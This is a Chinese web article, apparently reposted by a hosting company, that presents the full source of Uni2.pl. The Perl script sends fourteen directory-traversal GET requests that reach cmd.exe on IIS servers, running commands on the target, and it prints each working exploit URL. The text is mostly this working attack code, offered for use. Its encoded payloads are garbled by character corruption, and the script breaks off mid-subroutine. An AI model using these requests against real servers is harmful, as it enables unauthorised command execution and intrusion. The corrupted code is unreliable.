2、比较全面的UNICODE工具Uni2.pl
只要支持PERL，就能够利用这工具来对目标主机进行UNICODE编码漏洞的扫描。该程式能够对任何存在UNICODE编码漏洞的NT版本进行扫描测试。以下为该软件的源程式，具体如何操作就不做周详解说了
#!/usr/bin/perl
#
# Uni2.pl checks a host for the recent IIS unicode vulnerability
# in 14 different ways. Also gives you the browser URL for the
# exploit. Origionally Stealthmode316, modifications by Roeland
#
#
use Socket;
# --------------init
if ($#ARGV<0) {die "UNICODE-CHECK
Example: ./uni.pl www.target.com:80＼n";}
#($host,$port)=split(/:/,@ARGV[0]);
($host = @ARGV[0]);
$port = 80;
$target = inet_aton($host);
$flag=0;
# ---------------test method 1
my @results=sendraw("GET /scripts/..蜡../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..蜡../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 2
my @results=sendraw("GET /scripts..翜../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts..翜../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 3
my @results=sendraw("GET /scripts/..�%pc../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..�%pc../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 4
my @results=sendraw("GET /scripts/..�%9v../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..�%9v../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 5
my @results=sendraw("GET /scripts/..�%qf../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..�%qf../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 6
my @results=sendraw("GET /scripts/..�%8s../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..�%8s../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 7
my @results=sendraw("GET /scripts/..� ../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..� ../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 8
my @results=sendraw("GET /scripts/..翜../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..翜../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 9
my @results=sendraw("GET /scripts/..怜../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..怜../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 10
my @results=sendraw("GET /scripts/..鄝�../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..鄝�../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 11
my @results=sendraw("GET /scripts/..饊��../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..饊��../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 12
my @results=sendraw("GET /scripts/..鴢���../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..鴢���../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 13
my @results=sendraw("GET /scripts/..鼆����../winnt/system32/cmd.exe?/c dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..鼆����../winnt/system32/cmd.exe?/c dir＼n";}}
# ---------------test method 14
my @results=sendraw("GET /msadc/..＼啵軃＼�../..＼啵軃＼�../..＼啵軃＼�../winnt/system32/cmd.exe＼?/c＼ dir HTTP/1.0＼r＼n＼r＼n
");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/msadc/..＼啵軃＼�../..＼啵軃＼�../..＼啵軃＼�../winnt/system32/cmd.exe＼?/c＼ dir＼n";}}
if ($flag!=1) {
print "$host: Not vulnerable＼n";
exit;
}
sub sendraw {
$hbn = gethostbyname($host);
if ($hbn) {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,gethostbyname('tcp')||0) || die("Socket problems＼n");
if(connect(S,pack "SnA4x8",2,$port,$target)) {
my @in;
select(S);
$|=1;
print $pstr;
while(){
push @in, $_;
}
select(STDOUT);
close(S);
return @in;
} else {
print "$host: Can't connect＼n";
exit;
}
} else {
print "$host: Host not found＼n";
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
